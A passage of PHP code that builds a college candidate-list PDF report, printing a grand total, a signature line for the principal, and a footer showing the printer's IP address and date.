$pdf->Cell(15,5,$s,'1',1,'C');
$pdf->ln(5);;
$pdf->SetFont('Times','B',12);
$pdf->Cell(210,5,"Grand Total Rs {$grand_total}/",'0',1,'L');
$pdf->Ln(20);
$pdf->Cell(20,4,"Date :",'0',0,'C');
$pdf->Cell(250,4,"Signature of the principal(With seal)",'0',1,'R');
PrintFooter($pdf);
$pdf->Output("Candidate List.pdf","I");
}
function PrintFooter($pdf)
{
$new_x=$pdf->GetX();
$new_y=$pdf->GetY();
$ip=$_SERVER["REMOTE_ADDR"];
$pdf->SetY(-25);
$pdf->SetFont('Times','',9);
$pdf->Cell(200,6,'Note : Colleges must get candidate signature against his / her admission details before submission.','0',1,'L');
$pdf->Cell(110,6,'Printed : IP Address : '.$ip.", Date : ".$pdf->date_time,'0',0,'L');
$pdf->SetFont('Times','B',9);
$pdf->Cell(100,6,'* Indicates deleted admission details','0',0,'L');
$pdf->SetXY($new_x,$new_y);
}
?>
|